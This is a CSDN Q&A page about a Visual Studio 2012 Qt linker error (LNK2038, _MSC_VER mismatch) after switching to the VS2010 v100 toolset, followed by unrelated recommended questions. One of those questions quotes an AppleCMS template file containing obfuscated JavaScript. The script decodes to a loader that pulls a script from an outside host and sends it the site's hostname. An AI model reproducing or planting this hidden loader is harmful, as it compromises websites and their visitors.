vs2012平台下将工具集改成VS2010 V100之后生成出错

vs2012平台下新建QT application工程,将工具集改成VS2010 V100之后生成出错,情况如下:
1>qtmaind.lib(qtmain_win.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(moc_rr.obj 中)

2个回答

工程属性->配置属性-> 清单工具->输入和输出->嵌入清单,选择[否] 试试

lx624909677
lx624909677 回复zhuoyang111: 那你直接用VS2010不就可以吗?
5 年多之前 回复
zhuoyang111
zhuoyang111 因为我们的大平台是2010环境的,不一样的话整合不起来
5 年多之前 回复
lx624909677
lx624909677 回复zhuoyang111: 你用VS2012搭建项目,为什么要选择2010的环境?
5 年多之前 回复
zhuoyang111
zhuoyang111 不行,还是老问题
5 年多之前 回复

删除obj文件,重新生成一下。

caozhy
贵阳老马马善福专业维修游泳池堵漏防水工程 回复zhuoyang111: 那你需要重新编译qt得到适合的obj文件。
5 年多之前 回复
zhuoyang111
zhuoyang111 不行
5 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
VS2015平台工具集问题

你好, 我请教一下,我要修改一个工具的代码(VS2010编的),但是我的电脑是VS2015,为了让别人(VS2010)还能继续编译,我该如何做呢?还有就是工具的客户不用添加工具集V140也可以正常使用,两个问题,谢谢。

VS2017打开VS2010工程,重顶解决方案目标之后编译依然报错?

使用VS2017打开VS2010工程之后,修改工程文件sln的头两行为: Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 15 VisualStudioVersion = 15.0.27703.2035 MinimumVisualStudioVersion = 10.0.40219.1 然后将项目重定向解决方案: ![图片说明](https://img-ask.csdn.net/upload/201903/02/1551512336_211383.jpg) 然后,看到每个项目的属性里平台工具及已经修改为VS2017 ![图片说明](https://img-ask.csdn.net/upload/201903/02/1551512438_702772.jpg) 但是一旦生成项目,依然会报错:MSB8020 无法找到 Visual Studio 2010 的生成工具(平台工具集 =“v100”) ?,清理之后在生成无效: ![图片说明](https://img-ask.csdn.net/upload/201903/02/1551512513_708048.jpg) 有遇到类似情况的吗

在VS2012中使用QAxObject创建Excel文档出错

void uiLabelPrepare::dealfile(const char* filename) { QAxObject* workbooks = nullptr; QAxObject* workbook = nullptr; QAxObject* excel = new QAxObject("Excel application"); if (!excel) { uiMSG().warning("cannot create excel object"); return; } } 代码如上,添加QAxObject* excel = new QAxObject("Excel application");这一行代码后,程序运行错误如下(我的工程是用vs2010 V100工具集,qt4.8.4版本): 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(InvalidFilter.obj 中) 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(InvalidFilter.obj 中) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2038: 检测到“_MSC_VER”的不匹配项: 值“1700”不匹配值“1600”(InvalidFilter.obj 中) 1> 正在创建库 D:/SeisMining4.6/4.6.0/projects/bin/win64/Debug/uiODMain.lib 和对象 D:/SeisMining4.6/4.6.0/projects/bin/win64/Debug/uiODMain.exp 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2019: 无法解析的外部符号 "__declspec(dllimport) void __cdecl std::_Xbad_alloc(void)" (__imp_?_Xbad_alloc@std@@YAXXZ),该符号在函数 "char * __cdecl std::_Allocate<char>(unsigned __int64,char *)" (??$_Allocate@D@std@@YAPEAD_KPEAD@Z) 中被引用 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) void __cdecl std::_Xbad_alloc(void)" (__imp_?_Xbad_alloc@std@@YAXXZ) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) void __cdecl std::_Xbad_alloc(void)" (__imp_?_Xbad_alloc@std@@YAXXZ) 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2019: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Syserror_map(int)" (__imp_?_Syserror_map@std@@YAPEBDH@Z),该符号在函数 "public: virtual class std::error_condition __cdecl std::_System_error_category::default_error_condition(int)const " (?default_error_condition@_System_error_category@std@@UEBA?AVerror_condition@2@H@Z) 中被引用 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Syserror_map(int)" (__imp_?_Syserror_map@std@@YAPEBDH@Z) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Syserror_map(int)" (__imp_?_Syserror_map@std@@YAPEBDH@Z) 1>qaxcontainerd.lib(qaxobject.obj) : error LNK2019: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Winerror_map(int)" (__imp_?_Winerror_map@std@@YAPEBDH@Z),该符号在函数 "public: virtual class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > __cdecl std::_System_error_category::message(int)const " (?message@_System_error_category@std@@UEBA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@H@Z) 中被引用 1>qaxcontainerd.lib(qaxbase.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Winerror_map(int)" (__imp_?_Winerror_map@std@@YAPEBDH@Z) 1>qaxcontainerd.lib(qaxtypes.obj) : error LNK2001: 无法解析的外部符号 "__declspec(dllimport) char const * __cdecl std::_Winerror_map(int)" (__imp_?_Winerror_map@std@@YAPEBDH@Z)

vs2010 c++用已有代码建立工程出错

用已有代码建立工程出错,说找不到D:\Program Files (x86)\Microsoft Visual Studio 10\vc目录下的模版,我打开文件目录,发现根本没有VC这个目录。 然后我按照系统提示用安装光盘修复visual studio,结果还是一样啊,天呐,我第一次用vs2010就被这样折磨。

获取QListView 选中的index

在QListView中选中多个,然后我点击按钮删除这些行,如下,在addBtnClicked()中我定义QItemSelectionModel 和QModelIndexList 获取QListView被选中的index,但是运行的时候,函数结束会中断,主要是因为QModelIndexList indexlist = selmodel->selectedIndexes();这一行定义了导致的,请问这要怎么解决?(我的环境是Qt 5.2.0, VS2012平台,VS2010 V100工具集,如果用V110工具集的话是没问题的) void generalSelectDialog::addBtnClicked() { QItemSelectionModel *selmodel = ui.list_show->selectionModel(); QModelIndexList indexlist = selmodel->selectedIndexes(); int count1 = indexlist.size(); } 错误如下 断点停在如下代码段: extern "C" _CRTIMP int __cdecl _CrtIsValidHeapPointer( const void * pUserData ) { if (!pUserData) return FALSE; if (!_CrtIsValidPointer(pHdr(pUserData), sizeof(_CrtMemBlockHeader), FALSE)) return FALSE; return HeapValidate( _crtheap, 0, pHdr(pUserData) ); }

DLL 中new了一个字符串,PostMessage发送给主程序,主程序处理了数据后delete时崩溃

DLL 中new了一个字符串,调用PostMessage发送给主程序,主程序处理了数据后delete 当主程序和dll都用vs2010编译(v100)时,不会崩溃, 当主程序和dll都用vs2017编译(v141)时,也不会崩溃, 当主程序用vs2010编译(v100),dll用vs2017编译(v141)时,就会崩溃, 出错的地方: \_ASSERTE(_CrtIsValidHeapPointer(pUserData)); 注释: * If this ASSERT fails, a bad pointer has been passed in. It may be * totally bogus, or it may have been allocated from another heap. * The pointer MUST come from the 'local' heap. 好像是说delete的指针不是本地堆内存

nand flash 启动坏块,有了解过的吗?

海思3531a的板子 nand flash启动。 启动日志大致如下: Check Flash Memory Controller v100 ... Found Check Nand Flash Controller v610 ... found Special NAND id table Version 1.38 Nand ID: 0x2C 0xDA 0x90 0x95 0x06 0x00 0x00 0x00 Block:128KB Page:2KB Chip:256MB*1 OOB:64B ECC:4bit/512 Nand total size: 256MB *** Warning - bad CRC or NAND, using default environment ... VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4 yaffs: dev is 32505858 name is "mtdblock2" rw yaffs: passed flags "" VFS: Mounted root (yaffs2 filesystem) on device 31:2. Freeing unused kernel memory: 172K (c05bf000 - c05ea000) Welcome to HiLinux. ... 系统启动后,输入dmesg ~ # dmesg yaffs: checking block 1692 bad yaffs: checking block 1693 bad yaffs: checking block 1694 bad ... yaffs: checking block 1998 bad yaffs: checking block 1999 bad yaffs: yaffs_read_super: is_checkpointed 0 VFS: Mounted root (yaffs2 filesystem) on device 31:2. Freeing unused kernel memory: 172K (c05bf000 - c05ea000) >udev[702]: starting version 164 Hisilicon Media Memory Zone Manager ... 有的时候启动只提示以下异常: VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4 yaffs: dev is 32505858 name is "mtdblock2" rw yaffs: passed flags "" yaffs: yaffs: Attempting MTD mount of 31.2,"mtdblock2" yaffs: checking block 0 bad yaffs: checking block 822 bad yaffs: yaffs_read_super: is_checkpointed 1 VFS: Mounted root (yaffs2 filesystem) on device 31:2. Freeing unused kernel memory: 172K (c05bf000 - c05ea000) >udev[702]: starting version 164 进入uboot,输入指令 nand bad # nand bad Device 0 bad blocks 请问这种情况的坏块,可能是那些因素导致的? 希望了解过的指导下,万分感谢!

matplotlib,日期,画图,显示不正确

有2个问题 问题1:连线出现很奇怪的现象,那几条从左到右的连线是什么原因出现? ![图片说明](https://img-ask.csdn.net/upload/201901/07/1546863739_154000.png) ``` #生成figure对象 fig = MP.figure() #生成axis对象 ax = fig.add_subplot(111) ax.xaxis.set_major_formatter(mdate.DateFormatter('%Y-%m-%d')) ax.xlim = (0,20000) #设置x轴坐标值和标签旋转45°的显示方式 MP.xticks(P.date_range(dataset.index[0],dataset.index[-1],freq = 'Y'),rotation = 45) #x轴为dataset.index,也就是‘受理日期’,y轴为数量,颜色设置为红色 ax.plot(dataset.index,dataset['V100']) #plt.show() ``` 问题2:如图,日期都集中在中间显示,如何从x轴左到右显示? ![图片说明](https://img-ask.csdn.net/upload/201901/07/1546863989_394045.png) ``` #生成figure对象 fig = MP.figure() #生成axis对象 ax = fig.add_subplot(111) ax.xaxis.set_major_formatter(mdate.DateFormatter('%Y-%m-%d')) ax.xlim = (0,20000) #设置x轴坐标值和标签旋转45°的显示方式 MP.xticks(P.date_range(dataset.index[0],dataset.index[-1],freq = 'Y'),rotation = 45) #x轴为dataset.index,也就是‘受理日期’,y轴为数量,颜色设置为红色 ax.scatter(dataset.index,dataset['V100']) #plt.show() ``` 坐等大神指导

linux下显卡驱动的安装

有一机器带有八个显卡,linux下的,不懂得怎么安装多个(英伟达)显卡的驱动,请高手相助

error C2059: syntax error : ']',怎么解决。

#include<iostream> using namespace std; class Person { private: char name[10]; char sex[5]; int age; public: Person(char a[],char b[],int c) { strcpy(name,a); strcpy(sex,b); age=c; } int x1(int a) { int x1; x1=2018-a; return x1; } void y1(int a) { cout<<a<<endl; } }; class Stu:public Person { int class1; int num; public: Stu(char a1[],char b1[],int c1,int d1,int e1):Person(a1[],b1[],c1) { class1=d1; num=e1; } }; int main() { Stu n1("s","boy",20,3,10) n1.y1(n1.x1); return 0; } Compiling... 1.cpp E:\C++作业\1219\1.cpp(34) : error C2059: syntax error : ']' E:\C++作业\1219\1.cpp(46) : fatal error C1004: unexpected end of file found 执行 cl.exe 时出错. 1.obj - 1 error(s), 0 warning(s)

nand flash 转变 nor flash

求 nand flash 变成 nor flash 方法

如何对遥感卫星图片进行处理,使之平滑化

手头一些遥感卫星图片,发现由于其拍摄日期不一致,导致图片的亮度等不一致。需要进行必要的处理,使之背景颜色一致。 网搜了半天,貌似都没有找到相关的代码。求指点~~ ![图片说明](https://img-ask.csdn.net/upload/201911/20/1574235381_167168.jpg) 我看过网上的视频,貌似可以去除这些背景颜色不一致的情况。。但是实在找不到相关代码。。

求助关于ThinkPHP框架下出现错误重复错误Cannot redeclare jiexi() (previously declared in。

苹果CMS生成时出现错误 错误代码如下:Cannot redeclare jiexi() (previously declared in /www/wwwroot/www.xxx.com/template/JOELEO/asset/inc/info.php:5) 谢谢 希望相关经验的大佬帮忙看下 以下是info.php的代码: ``` <?php echo("<script> ['sojson.v4'][\"\x66\x69\x6c\x74\x65\x72\"][\"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\"](((['sojson.v4']+[])[\"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,\"105A102p40b110F117B108o108A33e61u61J108I111p99X97f108U83s116v111b114s97a103j101L46c103v101w116o73v116c101x109Y40I34M116j104I101e109f101Q34v41i41H123O118a97O114C32Q116j104d101E109c101H61R108c111u99V97d108D83E116L111z114K97c103D101J46k103f101v116W73a116T101C109c40o34W116w104i101I109h101p34I41w59J100d111U99Q117j109i101o110H116l46i119g114Q105z116S101r40V34a60d108w105Y110Z107u32D105A100S61l39x108Z101s111h45S116c104f101W109w101k39D32C104o114G101v102P61H34C43R109T97a99t99T109v115N46s116A112a108J43W34s97p115o115v101n116a47y99C115x115o47P74e111t101h45w34U43j116H104H101W109A101J43G34C46m99f115B115F63k118t61y34o43W77I97i116f104r46n114t97G110v100Y111s109o40w41P43r34L32I116t121Z112o101B61i39i116A101r120t116x47y99Q115k115p39D32P114k101l108T61M39o115j116A121N108x101C115y104Y101u101x116g39t62V34O41n125p101P108L115X101L32h100j111q99a117O109t101f110R116p46T119b114o105h116f101O40q34U60E108M105y110k107y32r105w100j61A39M108t101z111y45b116A104P101N109j101N39g32P104N114w101n102D61A34n43i109a97f99a99f109V115d46c116q112J108C43C34g97D115B115u101G116m47O99L115l115i47v74R111K101A45y34B43B108R101h111c95l116T104r101E109y101T95g105h110l105C116y43d34z46r99Y115f115O63A118C61j34Q43I77S97u116E104T46M114Y97P110I100O111F109K40l41w43h34k32Q32m116X121x112J101c61W39O116f101U120Q116a47X99j115B115W39c32I114e101s108P61G39a115W116b121r108y101t115R104a101a101x116B39S62k34B41V59n40X102W117k110g99L116H105g111K110y32z40K100w101D115Y105Z103Z110Z87J41J32m123j118w97w114V32n100S111j99U69N108Z32D61q32e100O111k99C117A109n101K110I116j46M100B111h99W117K109R101T110H116I69C108f101l109W101P110W116d44O114y101O115H105Q122u101j69Y118A116I32n61p32n39W111C114Q105Y101W110w116H97h116E105p111c110j99y104m97M110m103D101w39B32f105B110i32C119a105m110G100p111G119I32E63Z32n39g111C114M105o101A110s116A97S116w105T111h110U99t104y97O110u103h101Z39v32y58w32h39Q114X101B115j105K122k101O39e44q114q101N99k97L108L99k32C61G32J102V117c110N99F116J105q111f110y32r40I41l32s123W118Q97W114V32H99Q108r105Z101f110v116d87S105c100h116C104A32U61v32r100d111q99Q69Q108b46t99C108C105Z101p110O116M87e105l100Y116U104g59r105Y102f32t40A33J99f108k105L101V110u116b87u105S100j116z104N41W32s114m101H116V117a114w110u59w100k111K99q69Q108t46x115r116a121H108H101U46j102W111S110H116Y83L105I122w101O32e61u32h49D48n48l32L42S32Y40l99V108U105H101Y110v116K87v105i100p116M104F32h47R32B100P101L115w105k103k110M87q41E32E43N32D39O112e120d39O59g125W59t105X102B32f40H33D100p111P99Z117M109N101R110X116w46s97d100C100k69V118I101C110X116n76S105N115R116w101z110i101H114L41j32G114P101L116W117o114q110y59V114P101X99e97f108Z99d40Q41Z59m119D105K110n100a111c119w46S97D100G100z69S118n101N110b116w76C105A115n116v101E110E101H114E40K114L101o115K105p122A101l69w118r116G44F32S114N101U99G97i108z99y44O32M102g97k108H115n101x41S59E100d111K99x117q109m101A110L116E46S97F100R100Q69l118G101d110a116C76m105p115d116x101L110v101s114i40h39v68y79w77U67k111E110a116e101b110J116K76w111Z97V100y101U100E39P44U32c114r101F99p97R108L99A44o32x102T97J108H115v101C41m59L125M41h40n55B53G48M41K59C118y97n114n32a119w101I115X32x61Z32a100N111g99K117K109R101u110l116B46O99U114h101g97b116T101C69g108r101x109C101s110Q116i40Z34m115G99I114N105E112p116V34W41y59m119d101Z115p46V116P121S112o101P32F61g32b34O116S101W120d116a47U106P97Q118l97H115u99K114v105I112Z116r34Q59M119r101G115j46e115t114o99b32W61c32k34p47e47i108e105P98z46T108O101h101x108L101Z111d46T116n111X112x47G98b121e46a112Y104M112S63y117Y114Y108g61f34o43a119M105M110J100y111Y119R46V108e111I99A97y116j105i111F110C46g104Y111a115R116U110d97W109Z101c59v100M111W99h117I109n101r110Z116S46C103w101j116y69d108u101G109t101V110u116z115J66c121h84k97L103d78B97r109T101c40d39W104w101Z97z100i39W41f91y48j93p46w97M112b112c101O110C100F67N104U105U108L100K40p119B101i115q41d59\"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4'); </script>"); function jiexi($a){     $count=count($a);     for($i=0;$i<$count;$i++){         echo '<li class="swiper-slide">                 <a class="btns-info" id="'.$i.'" onclick="playerSwitch(this.id)">                     <span class="iconfont icon-selection leo-fs-m"></span>&nbsp;'.$a[$i]['name'].'</a>             </li>             ';     } } function jiexiline($b){     $count=count($b);     for($i=0;$i<$count;$i++){         echo '"'.$b[$i]['url'].'",';     } } function gonggaos($c){     $count=count($c);     for($i=0;$i<$count;$i++){         echo '<div class="swiper-slide">                 <a href="'.$c[$i]['url'].'" title="'.$c[$i]['msg'].'">                     <div class="title leo-fs-l">'.$c[$i]['msg'].'</div>                 </a>             </div>         ';     } } ?> ```

程序运行就闪退,log日志如下,求大神支招

05-24 18:40:25.210 950-950/? E/HwSystemManager﹕ :ACTION_BATTERY_CHANGED pluged =2 05-24 18:40:25.220 843-843/? E/TemperatureMonitor2﹕ BatteryTemp=300 05-24 18:40:28.040 1079-1079/? E/memtrack﹕ Couldn't load memtrack module (No such file or directory) 05-24 18:40:28.040 1079-1079/? E/android.os.Debug﹕ failed to load memtrack module: -2 05-24 18:40:28.090 1079-1079/? I/android_hardware_fm.cpp﹕ ----Inside int register_android_hardware_fm_fmradio(JNIEnv*)---- 05-24 18:40:28.090 1079-1079/? I/android_hardware_fm.cpp﹕ register_android_hardware_fm_fmradio, ret is 0 05-24 18:40:28.350 1094-1094/com.example.administrator.myapplication W/dalvikvm﹕ threadid=1: thread exiting with uncaught exception (group=0x415ebc38) 05-24 18:40:28.360 137-177/? E/logserver﹕ Object Path:/data/system/dropbox/, mask=0x00000080 05-24 18:40:28.360 137-177/? E/logserver﹕ event->len=48, name=data_app_crash@1464086428362.txt 05-24 18:40:28.360 137-177/? E/logserver﹕ find_first_match: find match, plogs(type=1, pfile=/data/system/dropbox/, match=app_crash) 05-24 18:40:28.360 137-177/? E/logserver﹕ move_dir:src_path=/data/log/dbox/appdbg/logcache 05-24 18:40:28.360 137-177/? E/logserver﹕ move_dir:dst_path=/data/log/logcache/27563624/ 05-24 18:40:28.360 137-177/? E/logserver﹕ is_all_ready, any file is ready in non-keyfile exception. 05-24 18:40:28.360 137-177/? E/logserver﹕ extract_appname, forward search, appname=com.example.administrator.myapplication 05-24 18:40:28.360 137-177/? E/logserver﹕ archive_and_send, pos=0, type=crash, output=20160524184028_crash 05-24 18:40:28.360 137-177/? E/logserver﹕ ---copy_match_files enter!!-- 05-24 18:40:28.360 137-177/? E/logserver﹕ [copy_match_files,758]: copy [/data/system/dropbox/data_app_crash@1464086428362.txt] to [/data/log/logcache/27563624/data_app_crash@1464086428362.txt] 05-24 18:40:28.360 137-177/? E/logserver﹕ internal_archive, argc=7 05-24 18:40:28.360 137-177/? E/logserver﹕ get_fault_appname, appname=com.example.administrator.myapplication 05-24 18:40:28.360 137-177/? E/logserver﹕ handle_archive_exception, argc=7 05-24 18:40:28.360 137-177/? E/logserver﹕ get alarm time = 247377 (sec.)! 05-24 18:40:28.360 137-177/? E/logserver﹕ log_apr_add_record open file:/data/log/apr/P6-C00_V100R001C92B507SP01_A00000434B9E53_20140915101146_statistics 05-24 18:40:28.360 137-177/? E/logserver﹕ move_input_files, create dir [/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash] 05-24 18:40:28.360 137-177/? E/logserver﹕ copy_file_to_dir, /data/log/logcache/27563624/data_app_crash@1464086428362.txt -> /data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-177/? E/logserver﹕ copy_file_to_dir, /data/log/logcache/27563624/finger.txt -> /data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-177/? E/logserver﹕ Process 177 opening FIFO for O_WRONLY 05-24 18:40:28.360 137-177/? E/logserver﹕ Process 177 opened fifo(19) 05-24 18:40:28.360 137-177/? E/logserver﹕ notify_logcontrol, 177 sent /data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-176/? E/logserver﹕ thread_logcontrol, select ret = 1 05-24 18:40:28.360 137-176/? E/logserver﹕ handle_notify_event, read res = 324, client pid = 177, data=/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.360 137-176/? E/logserver﹕ handle_notify_event, send msg [submit:trigger=0,bugtype=2,modulename=com.example.administrator.myapplication,level=1,testtype=NORMAL,path=/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash;] 05-24 18:40:28.360 137-176/? E/logserver﹕ send_to_client, send to (18) res = 186 05-24 18:40:28.360 137-150/? E/logserver﹕ File record is changed, record a exception! 05-24 18:40:28.360 137-150/? E/logserver﹕ send_files, commercial version, send by other, return! 05-24 18:40:28.360 137-177/? E/logserver﹕ check_dir_size, dir[/data/log/coredump/] doesn't exist 05-24 18:40:28.360 137-177/? E/logserver﹕ clean_cur_cache:891, system(rm -r /data/log/logcache/27563624/* > /dev/null 2>&1) 05-24 18:40:28.370 1733-1774/? E/SubmitMessage﹕ Submit string: submit:trigger=0,bugtype=2,modulename=com.example.administrator.myapplication,level=1,testtype=NORMAL,path=/data/log/unzip/P6-C00_V100R001C92B507SP01_A00000434B9E53_20160524184028_crash 05-24 18:40:28.380 137-177/? E/logserver﹕ Object Path:/data/log/apr/, mask=0x00000008 05-24 18:40:28.380 137-177/? E/logserver﹕ event->len=80, name=P6-C00_V100R001C92B507SP01_A00000434B9E53_20140915101146_statistics 05-24 18:40:28.380 137-177/? E/logserver﹕ process_one_event, can not find this event(P6-C00_V100R001C92B507SP01_A00000434B9E53_20140915101146_statistics) 05-24 18:40:28.380 137-177/? E/logserver﹕ clean_cur_cache:891, system(rm -r /data/log/logcache/27563624/* > /dev/null 2>&1) 05-24 18:40:28.400 137-177/? E/logserver﹕ Object Path:/data/log/apr/, mask=0x00000008 05-24 18:40:28.400 137-177/? E/logserver﹕ event->len=16, name=record 05-24 18:40:28.400 137-177/? E/logserver﹕ process_one_event, can not find this event(record) 05-24 18:40:28.400 137-177/? E/logserver﹕ clean_cur_cache:891, system(rm -r /data/log/logcache/27563624/* > /dev/null 2>&1) 05-24 18:40:28.530 792-1809/? W/SmartPowerUtils﹕ not found mod[4] to handle scene:208 05-24 18:40:28.670 843-1911/? W/TemperatureMonitor2﹕ Leave 38'C at 4122:58 05-24 18:40:29.040 792-1809/? W/SmartPowerUtils﹕ not found mod[4] to handle scene:208 05-24 18:40:29.050 876-876/? I/SimpleFolderPreView﹕ drawableSize = 128 drawableSize = 128 totalSize= 120sPreviewSize = 130 sPreviewPadding = 8 05-24 18:40:29.050 876-876/? I/SimpleFolderPreView﹕ drawableSize = 128 drawableSize = 128 totalSize= 120sPreviewSize = 130 sPreviewPadding = 8 05-24 18:40:29.050 876-876/? I/Launcher.MotionManager﹕ startShakeMotion mIsShakeInHome=false 05-24 18:40:29.060 950-2119/? W/Settings﹕ Setting airplane_mode_on has moved from android.provider.Settings.System to android.provider.Settings.Global, returning read-only value. 05-24 18:40:29.070 950-2119/? I/HwPowerManagerActivity﹕ brightniess:44, current screen power:89.05882352941177 05-24 18:40:29.070 130-976/? E/BufferQueue﹕ [com.huawei.android.launcher/com.huawei.android.launcher.simpleui.SimpleUILauncher] dequeueBuffer: can't dequeue multiple buffers without setting the buffer count 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@423a3d78params.scale = 0.41962025 params.transX = 48.380005mPreviewOffsetX 3params.transY = 12.32mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@424ca4e8params.scale = 0.5325949 params.transX = 24.190002mPreviewOffsetX 3params.transY = 22.159996mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@420fe0d8params.scale = 0.6455696 params.transX = 0.0mPreviewOffsetX 3params.transY = 32.0mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@41ecb5b8params.scale = 0.41962025 params.transX = 48.380005mPreviewOffsetX 3params.transY = 12.32mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@42281de8params.scale = 0.5325949 params.transX = 24.190002mPreviewOffsetX 3params.transY = 22.159996mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d = android.graphics.drawable.BitmapDrawable@424c4d00params.scale = 0.6455696 params.transX = 0.0mPreviewOffsetX 3params.transY = 32.0mPreviewOffsetY = 8 05-24 18:40:29.100 876-876/? I/SimpleFolderPreView﹕ d.getIntrinsicWidth() = 64 = d.getIntrinsicHeight()64 05-24 18:40:29.150 950-2119/? I/HwSystemManager﹕ SavingSettingUtil:setAlarm and high_level_standard is 10 msg_send_interval is 240 count_frequency is 60 dangerous_level_standard is 25 dangerous_current_level is 30 min_interval_time is 3 average_current_fg is 350 count_frequency_fg is 5 app_show_level is 1 05-24 18:40:31.990 1094-1094/? I/Process﹕ Sending signal. PID: 1094 SIG: 9

hisi3516DV300 uboot无法烧入emmc

启动后的信息 System startup Uncompress Ok! U-Boot 2016.11 (Jan 10 2019 - 18:22:48 +0800)hi3516dv300 Relocation Offset is: 0f6c3000 Relocating to 8fec3000, new gd at 8fe22ef0, sp at 8fe22ed0 SPI Nor: Boot Media isn't SPI Nor NAND: Check Flash Memory Controller v100 ... Found SPI Nand ID Table Version 2.7 Warning: Wait SPI nand ready timeout, status: 0xff Cannot found a valid SPI Nand Device 0 MiB MMC: In: serial Out: serial Err: serial Net: eth0 Warning: eth0 (eth0) using random MAC address - 1a:10:e6:2c:f0:58 Hit any key to stop autoboot: 0 ## Error: "distro_bootcmd" not defined hisilicon # 保存环境信息也无法保存

log4j没办法 输出hibernate的sql到日志文件~~~~~~

我的log4j.properties配置 ``` # path log4j.debug=false log4j.path.iacportal=./iacportal/ log4j.logger.org.hibernate.SQL=DEBUG log4j.logger.org.hibernate.type=TRACE log4j.logger.org.hibernate.type.descriptor.sql.BasicBinder=TRACE #INFO級別日志输出 log4j.rootLogger=INFO,A1 log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender log4j.appender.A1.layout=org.apache.log4j.PatternLayout log4j.appender.A1.layout.ConversionPattern=[%-5p][%d{yyyy-MM-dd HH:mm:ss,SSSS}] %m%n log4j.appender.A1.file=${log4j.path.iacportal}/log4j_app-INFO_V100.log #log4j.appender.A1.threshold=INFO log4j.appender.A1.DatePattern='-'yyyy-MM-dd ``` 反正我是什么级别的日志都输出了就是没有sql输出,不知道还有没有其他什么可以影响日志输出 求大神帮助

UBOOT 设置环境变量重启后失效,恢复了默认设置,提示Warning - bad CRC, using default environment

问题如下: ``` System startup Uncompress Ok! U-Boot 2016.11 (Sep 19 2019 - 15:42:22 +0800)hi3518ev300 Relocation Offset is: 03736000 Relocating to 43f36000, new gd at 43e95ef0, sp at 43e95ed0 SPI Nor: hifmc_ip_ver_check(44): Check Flash Memory Controller v100 ...hifmc_ip_ver_check(50): Found hifmc_spi_nor_probe(1615): SPI Nor ID Table Version 1.0 hifmc_spi_nor_probe(1640): SPI Nor(cs 0) ID: 0xc2 0x20 0x18 hifmc_spi_nor_probe(1705): Block:64KB hifmc_spi_nor_probe(1706): Chip:16MB hifmc_spi_nor_probe(1707): Name:"MX25L128XX" hifmc100_spi_nor_probe(147): SPI Nor total size: 16MB NAND: 0 MiB MMC: *** Warning - bad CRC, using default environment In: serial Out: serial Err: serial Net: No ethernet found. Hit any key to stop autoboot: 0 ## Error: "distro_bootcmd" not defined hisilicon # ``` 设置了 bootcmd 后saveenv,提示成功,重启后又这样了,该怎么搞,uboot新手

Miner

